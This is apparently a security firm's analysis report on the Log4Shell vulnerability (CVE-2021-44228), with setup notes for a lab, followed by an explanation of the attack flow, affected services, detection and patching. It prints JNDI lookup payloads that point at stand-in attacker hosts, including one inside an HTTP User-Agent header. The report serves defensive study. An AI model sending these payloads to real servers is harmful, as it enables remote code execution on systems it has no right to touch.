Igloo Corporation Won Chi-hyun Log4shell Analysis Report

Log4shell

CVE-2021-44228 Log4j is a free and open-source Java-based logging utility by the Apache Software Foundation, capable of logging various Java-based services. It uses JNDI Lookup to reference data and objects discovered via JNDI, leveraging resources found through Java LDAP 1389 Lookup JNDI.

Vulnerable server running Docker image file download sudo git clone sudo docker build . -t vulnerable-app Creates a new Docker image named vulnerable-app by building in the current directory.

github.com/welk

Stop unused vulnerable server docker ps -a Check all running Docker images docker container ID 확인

Log4Shell (CVE-2021-44228) Analysis Report

1. Overview

Log4Shell (CVE-2021-44228) is a Remote Code Execution (RCE) vulnerability found in the Apache Log4j library.
Attackers can use malicious payloads to execute arbitrary code, potentially causing widespread damage.

This report analyzes the principles, impact, exploitation cases, detection, and response methods for Log4Shell.

2. Vulnerability Overview

3. Vulnerability Principle

Log4Shell exploits a vulnerability in the JNDI (Java Naming and Directory Interface) lookup feature, allowing attackers to execute malicious code from a remote server.

3.1 Attack Flow

1. Attacker sends a log message containing a malicious string to the application.
2. While logging, Log4j performs a JNDI Lookup.
3. JNDI queries data from remote servers such as LDAP or RMI.
4. The attacker's server loads and executes a malicious Java class.
5. Remote Code Execution (RCE) occurs.

3.2 Attack Code Example

Attackers can exploit the vulnerability simply by having the following string logged:

${jndi:ldap://attacker.com:1389/exploit}

4. Scope of Impact

The Log4Shell vulnerability affected numerous companies and services using Log4j.

4.1 Affected Major Services and Systems

• Cloud Services: AWS, Google Cloud, Microsoft Azure
• Enterprise Applications: Apache Struts, ElasticSearch, VMware vCenter
• Game Servers: Minecraft, Steam
• Various Web Applications and Servers: Spring Boot, Tomcat, etc.

5. Exploitation Cases and Attack Examples

5.1 Minecraft Server Attack

Attackers could take over a server by entering the following string in the Minecraft chat window:

${jndi:ldap://attacker.com:1389/exploit}

When the server records this in its log, the JNDI Lookup executes malicious code from the attacker's server.

5.2 Web Application Attack

Attackers inject malicious payloads into fields logged in HTTP requests, such as User-Agent, Referer, X-Forwarded-For, etc. Example:

GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}

6. Detection and Response Measures

6.1 Vulnerability Detection Methods

✅ Use Security Scanners

• log4j-scan (https://github.com/fullhunt/log4j-scan)
• log4shell-detector (https://github.com/Neo23x0/log4shell-detector)

✅ Check Log Files

• If patterns like ${jndi:ldap://...} are found in logs, immediate response is required.

✅ Network Monitoring

• Check for abnormal LDAP or RMI requests.

6.2 Response Methods

✅ Immediate Actions

• Upgrade to Log4j 2.15.0 or higher.
• Set environment variables when running Java:

-Dlog4j2.formatMsgNoLookups=true

• Block patterns like jndi:ldap:// in firewalls and IDS/IPS.

✅ Long-Term Security Measures

• Restrict JNDI usage and strengthen security policies.
• Apply a Web Application Firewall (WAF).
• Conduct regular security checks and vulnerability scanning.

7. Patches and Remediation

✅ Update to the latest version (2.17.1 or higher) is recommended!

8. Conclusion

Log4Shell (CVE-2021-44228) is considered one of the most severe security vulnerabilities in recent years.
✅ It is essential to quickly patch vulnerable systems and perform continuous security monitoring.
✅ Security checks must be conducted on all applications using Log4j.

9. References

• Apache Log4j Official Security Advisory
• NIST National Vulnerability Database (CVE-2021-44228)
• log4j-scan (GitHub)